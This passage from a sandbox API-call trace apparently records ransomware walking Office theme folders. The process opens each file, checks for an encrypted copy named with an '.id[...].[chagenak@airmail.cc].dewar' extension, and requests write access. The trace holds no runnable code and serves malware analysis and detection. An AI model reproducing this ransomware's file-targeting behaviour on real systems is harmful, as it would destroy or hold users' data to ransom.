(normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.004] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=19485) returned 1 [0241.004] CloseHandle (hObject=0x200) returned 1 [0241.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0241.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0241.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.008] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=47666) returned 1 [0241.008] CloseHandle (hObject=0x200) returned 1 [0241.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0241.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0241.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.009] SetEvent (hEvent=0x118) returned 1 [0241.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.010] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=499) returned 1 [0241.011] CloseHandle (hObject=0x200) returned 1 [0241.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf")) returned 0x20 [0241.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf")) returned 0x20 [0241.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.013] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1232) returned 1 [0241.013] CloseHandle (hObject=0x200) returned 1 [0241.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0241.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0241.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.018] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=18413) returned 1 [0241.018] CloseHandle (hObject=0x200) returned 1 [0241.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0241.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0241.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.020] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=59203) returned 1 [0241.020] CloseHandle (hObject=0x200) returned 1 [0241.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm")) returned 0x20 [0241.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm")) returned 0x20 [0241.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.026] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=533) returned 1 [0241.026] CloseHandle (hObject=0x200) returned 1 [0241.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf")) returned 0x20 [0241.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf")) returned 0x20 [0241.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.027] SetEvent (hEvent=0x118) returned 1 [0241.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.028] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1659) returned 1 [0241.028] CloseHandle (hObject=0x200) returned 1 [0241.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0241.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0241.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.141] SetEvent (hEvent=0x118) returned 1 [0241.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.358] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=58092) returned 1 [0241.358] CloseHandle (hObject=0x200) returned 1 [0241.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm")) returned 0x20 [0241.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm")) returned 0x20 [0241.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.359] SetEvent (hEvent=0x118) returned 1 [0241.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.360] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1379) returned 1 [0241.360] CloseHandle (hObject=0x200) returned 1 [0241.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0241.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0241.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.362] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=48115) returned 1 [0241.362] CloseHandle (hObject=0x200) returned 1 [0241.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0241.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0241.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.364] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=50761) returned 1 [0241.364] CloseHandle (hObject=0x200) returned 1 [0241.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm")) returned 0x20 [0241.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm")) returned 0x20 [0241.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.373] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=585) returned 1 [0241.373] CloseHandle (hObject=0x1e0) returned 1 [0241.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf")) returned 0x20 [0241.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf")) returned 0x20 [0241.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.374] SetEvent (hEvent=0x118) returned 1 [0241.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.375] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1364) returned 1 [0241.375] CloseHandle (hObject=0x1e0) returned 1 [0241.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0241.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0241.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.377] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=11573) returned 1 [0241.377] CloseHandle (hObject=0x1e0) returned 1 [0241.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0241.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0241.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.379] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: 